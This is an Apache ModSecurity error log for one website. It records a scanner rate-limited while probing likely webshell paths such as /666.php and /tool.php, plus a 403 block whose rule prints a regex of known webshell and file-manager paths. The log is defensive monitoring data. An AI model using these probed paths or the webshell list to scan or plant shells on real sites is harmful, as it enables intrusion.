[Wed Apr 15 19:17:32.645718 2026] [:error] [pid 30957:tid 30991] [client 172.161.107.89:5253] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/kj.php"] [unique_id "ad9zzH5gwVEVXHfVSipwKAAAAEI"]
[Wed Apr 15 19:17:32.873245 2026] [:error] [pid 31053:tid 31058] [client 172.161.107.89:42886] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzBcEkLCmvF0fjDerrgAAAII"]
[Wed Apr 15 19:17:33.152300 2026] [:error] [pid 30958:tid 31027] [client 172.161.107.89:16392] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzceG3wSKTO7NWFGMrQAAAMs"]
[Wed Apr 15 19:17:33.351017 2026] [:error] [pid 37370:tid 37385] [client 172.161.107.89:16390] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zzXg-gnM2Ga0cGAAE_AAAAQ0"]
[Wed Apr 15 19:17:33.575071 2026] [proxy_fcgi:error] [pid 31053:tid 31056] [client 20.215.250.56:4275] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:33.631465 2026] [:error] [pid 30958:tid 31016] [client 172.161.107.89:31648] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzceG3wSKTO7NWFGMrwAAAMA"]
[Wed Apr 15 19:17:33.844025 2026] [:error] [pid 30957:tid 30997] [client 172.161.107.89:27852] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zzX5gwVEVXHfVSipwKwAAAEg"]
[Wed Apr 15 19:17:34.107815 2026] [proxy_fcgi:error] [pid 31053:tid 31074] [client 20.215.250.56:4275] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:34.118305 2026] [:error] [pid 37370:tid 37375] [client 172.161.107.89:25150] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzng-gnM2Ga0cGAAE_QAAAQM"]
[Wed Apr 15 19:17:34.318069 2026] [:error] [pid 30956:tid 30969] [client 172.161.107.89:16440] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zzkBGUpjaWntNYq1ghQAAAAk"]
[Wed Apr 15 19:17:34.367100 2026] [proxy_fcgi:error] [pid 31053:tid 31079] [client 20.215.250.56:4275] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:34.614044 2026] [:error] [pid 37370:tid 37376] [client 172.161.107.89:47286] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/new.php"] [unique_id "ad9zzng-gnM2Ga0cGAAE_wAAAQQ"]
[Wed Apr 15 19:17:34.753485 2026] [proxy_fcgi:error] [pid 31053:tid 31070] [client 20.215.250.56:4275] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:34.806173 2026] [:error] [pid 37370:tid 37394] [client 172.161.107.89:37542] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zzng-gnM2Ga0cGAAFAAAAARY"]
[Wed Apr 15 19:17:35.131722 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:13535] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zz8eG3wSKTO7NWFGMsQAAANg"]
[Wed Apr 15 19:17:35.288529 2026] [:error] [pid 30958:tid 31030] [client 172.161.107.89:17933] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9zz8eG3wSKTO7NWFGMsgAAAM4"]
[Wed Apr 15 19:17:35.301979 2026] [:error] [pid 31053:tid 31077] [client 20.215.250.56:4275] [client 20.215.250.56] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad9zzxcEkLCmvF0fjDeruAAAAJU"]
[Wed Apr 15 19:17:35.600918 2026] [:error] [pid 31053:tid 31075] [client 172.161.107.89:28203] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9zzxcEkLCmvF0fjDervAAAAJM"]
[Wed Apr 15 19:17:35.773460 2026] [:error] [pid 31053:tid 31062] [client 172.161.107.89:20628] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9zzxcEkLCmvF0fjDervwAAAIY"]
[Wed Apr 15 19:17:36.086624 2026] [:error] [pid 30957:tid 31010] [client 172.161.107.89:17953] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9z0H5gwVEVXHfVSipwNAAAAFU"]
[Wed Apr 15 19:17:36.259304 2026] [:error] [pid 37370:tid 37395] [client 172.161.107.89:34153] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0Hg-gnM2Ga0cGAAFAQAAARc"]
[Wed Apr 15 19:17:36.551030 2026] [proxy_fcgi:error] [pid 31053:tid 31069] [client 20.215.250.56:46345] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:17:36.564934 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:16794] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "ad9z0BcEkLCmvF0fjDeryAAAAIo"]
[Wed Apr 15 19:17:36.737835 2026] [:error] [pid 30956:tid 30970] [client 172.161.107.89:25140] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0EBGUpjaWntNYq1giAAAAAo"]
[Wed Apr 15 19:17:37.088191 2026] [:error] [pid 37370:tid 37373] [client 172.161.107.89:25138] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0Xg-gnM2Ga0cGAAFAwAAAQE"]
[Wed Apr 15 19:17:37.214625 2026] [:error] [pid 30957:tid 30998] [client 172.161.107.89:47241] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z0X5gwVEVXHfVSipwQAAAAEk"]
[Wed Apr 15 19:17:37.571480 2026] [:error] [pid 30956:tid 30979] [client 172.161.107.89:10700] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0UBGUpjaWntNYq1giQAAABM"]
[Wed Apr 15 19:17:37.691705 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:31144] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z0RcEkLCmvF0fjDer0gAAAJY"]
[Wed Apr 15 19:17:38.072778 2026] [:error] [pid 30956:tid 30974] [client 172.161.107.89:5304] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0kBGUpjaWntNYq1gigAAAA4"]
[Wed Apr 15 19:17:38.164118 2026] [:error] [pid 30956:tid 30963] [client 172.161.107.89:32701] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z0kBGUpjaWntNYq1giwAAAAM"]
[Wed Apr 15 19:17:38.590629 2026] [:error] [pid 31053:tid 31064] [client 172.161.107.89:25148] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad9z0hcEkLCmvF0fjDer2gAAAIg"]
[Wed Apr 15 19:17:38.671609 2026] [:error] [pid 31053:tid 31068] [client 172.161.107.89:26706] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z0hcEkLCmvF0fjDer3AAAAIw"]
[Wed Apr 15 19:17:39.155829 2026] [:error] [pid 37370:tid 37386] [client 172.161.107.89:10709] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z03g-gnM2Ga0cGAAFBwAAAQ4"]
[Wed Apr 15 19:17:39.163192 2026] [:error] [pid 31053:tid 31063] [client 172.161.107.89:10701] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z0xcEkLCmvF0fjDer4gAAAIc"]
[Wed Apr 15 19:17:39.643810 2026] [:error] [pid 30956:tid 30976] [client 172.161.107.89:17929] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z00BGUpjaWntNYq1gjQAAABA"]
[Wed Apr 15 19:17:39.665044 2026] [:error] [pid 30956:tid 30982] [client 172.161.107.89:13550] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z00BGUpjaWntNYq1gjgAAABY"]
[Wed Apr 15 19:17:40.149639 2026] [:error] [pid 30956:tid 30964] [client 172.161.107.89:28170] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1EBGUpjaWntNYq1gkAAAAAQ"]
[Wed Apr 15 19:17:40.170852 2026] [:error] [pid 30957:tid 31008] [client 172.161.107.89:39276] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z1H5gwVEVXHfVSipwZAAAAFM"]
[Wed Apr 15 19:17:40.619295 2026] [:error] [pid 30956:tid 30960] [client 172.161.107.89:10698] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1EBGUpjaWntNYq1gkQAAAAA"]
[Wed Apr 15 19:17:40.702063 2026] [:error] [pid 31053:tid 31070] [client 172.161.107.89:26720] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/file.php"] [unique_id "ad9z1BcEkLCmvF0fjDer6gAAAI4"]
[Wed Apr 15 19:17:41.128807 2026] [:error] [pid 30958:tid 31025] [client 172.161.107.89:5360] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1ceG3wSKTO7NWFGMwAAAAMk"]
[Wed Apr 15 19:17:41.179829 2026] [:error] [pid 30957:tid 30996] [client 172.161.107.89:26700] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1X5gwVEVXHfVSipwZwAAAEc"]
[Wed Apr 15 19:17:41.608365 2026] [:error] [pid 30956:tid 30961] [client 172.161.107.89:42464] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1UBGUpjaWntNYq1glAAAAAE"]
[Wed Apr 15 19:17:41.687785 2026] [:error] [pid 30957:tid 30991] [client 172.161.107.89:33001] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1X5gwVEVXHfVSipwaAAAAEI"]
[Wed Apr 15 19:17:42.101036 2026] [:error] [pid 30957:tid 31009] [client 172.161.107.89:10737] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1n5gwVEVXHfVSipwaQAAAFQ"]
[Wed Apr 15 19:17:42.165434 2026] [:error] [pid 30956:tid 30969] [client 172.161.107.89:20656] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1kBGUpjaWntNYq1glgAAAAk"]
[Wed Apr 15 19:17:42.581928 2026] [:error] [pid 37370:tid 37381] [client 172.161.107.89:30329] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1ng-gnM2Ga0cGAAFDQAAAQk"]
[Wed Apr 15 19:17:42.680916 2026] [:error] [pid 30957:tid 30999] [client 172.161.107.89:30287] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/666.php"] [unique_id "ad9z1n5gwVEVXHfVSipwawAAAEo"]
[Wed Apr 15 19:17:43.055429 2026] [:error] [pid 31053:tid 31056] [client 172.161.107.89:31225] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z1xcEkLCmvF0fjDer7gAAAIA"]
[Wed Apr 15 19:17:43.166824 2026] [:error] [pid 31053:tid 31078] [client 172.161.107.89:17926] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1xcEkLCmvF0fjDer7wAAAJY"]
[Wed Apr 15 19:17:43.565911 2026] [:error] [pid 31053:tid 31073] [client 172.161.107.89:13563] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z1xcEkLCmvF0fjDer8QAAAJE"]
[Wed Apr 15 19:17:43.636880 2026] [:error] [pid 31053:tid 31069] [client 172.161.107.89:19148] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z1xcEkLCmvF0fjDer8gAAAI0"]
[Wed Apr 15 19:17:44.074604 2026] [:error] [pid 30958:tid 31040] [client 172.161.107.89:43598] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2MeG3wSKTO7NWFGMwQAAANg"]
[Wed Apr 15 19:17:44.140123 2026] [:error] [pid 30958:tid 31030] [client 172.161.107.89:10703] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z2MeG3wSKTO7NWFGMwgAAAM4"]
[Wed Apr 15 19:17:44.557701 2026] [:error] [pid 31053:tid 31066] [client 172.161.107.89:48294] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2BcEkLCmvF0fjDer9QAAAIo"]
[Wed Apr 15 19:17:44.624870 2026] [:error] [pid 31053:tid 31067] [client 172.161.107.89:25458] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tool.php"] [unique_id "ad9z2BcEkLCmvF0fjDer9gAAAIs"]
[Wed Apr 15 19:17:45.057831 2026] [:error] [pid 30958:tid 31024] [client 172.161.107.89:27894] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z2ceG3wSKTO7NWFGMwwAAAMg"]
[Wed Apr 15 19:17:45.137594 2026] [:error] [pid 30958:tid 31019] [client 172.161.107.89:29137] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ad9z2ceG3wSKTO7NWFGMxAAAAMM"]
[Wed Apr 15 19:17:45.582620 2026] [:error] [pid 37370:tid 37380] [client 172.161.107.89:8520] [client 172.161.107.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bgymj.php"] [unique_id "ad9z2Xg-gnM2Ga0cGAAFEQAAAQg"]
